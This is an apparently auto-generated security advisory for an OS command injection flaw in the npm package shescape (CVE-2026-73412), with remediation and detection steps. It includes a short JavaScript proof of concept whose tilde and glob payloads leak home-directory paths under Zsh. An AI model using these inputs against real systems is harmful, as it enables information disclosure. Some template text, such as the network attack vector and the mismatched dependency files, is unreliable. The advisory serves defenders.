Categories
CVE-2026-73412

OS Command Injection in shescape (CVE-2026-73412)

Summary

OS command injection in shescape (CVE-2026-73412). Risk of unauthorized operations or information disclosure. Exploitable via shell. Mitigation: upgrade to 3.0.1 or later.

Original description

The description as published by the source.

Impact

This impacts users of Shescape on Unix systems that explicitly configure shell to Zsh, or true when the default shell is Zsh, using the escape and escapeAll. The Zsh options EXTENDED_GLOB and MAGIC_EQUAL_SUBST exacerbate the problem.

In certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.

Without option / with MAGIC_EQUAL_SUBST

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);

// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home director…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-73412 has been found in shescape.
Attackers can target a specific entry point like shell over the network to misuse the product.
Risk of unauthorized operations or information disclosure.
What to do: upgrade shescape to 3.0.1 or later.
If unsure, ask your IT team or search "shescape CVE-2026-73412" on the vendor's site.

CVE-2026-73412 (shescape) — CWE-78
Attack surface: shell / true / escape / escapeAll
Patched: 3.0.1 — apply immediately
Workaround: Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

OS command injection (CWE-78) exists in shescape. Attackers reach the vulnerable code path via shell.

📍 Affected scope

Check the vendor advisory for the affected versions of shescape. Attack surface: shell / true / escape / escapeAll.

🔥 Severity

Severity: ?. Risk of unauthorized operations or information disclosure.

🔧 How to fix

Update to 3.0.1.

🛡️ Workaround

Workaround: Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'shescape' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'shescape' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で shescape を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply temporary workaround mitigate
    Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs.

    パッチが適用されるまでの応急処置として、Alternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the EXTENDED_GLOB option is disabled, 3) remove all instances of ^, #, and ~ from untrusted inputs. を実施。回避策の副作用 (機能低下) を確認した上で。

  3. 3
    Apply patch patch
    Upgrade shescape to 3.0.1

    ステージング環境で 3.0.1 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  4. 4
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm shescape
[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.1"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details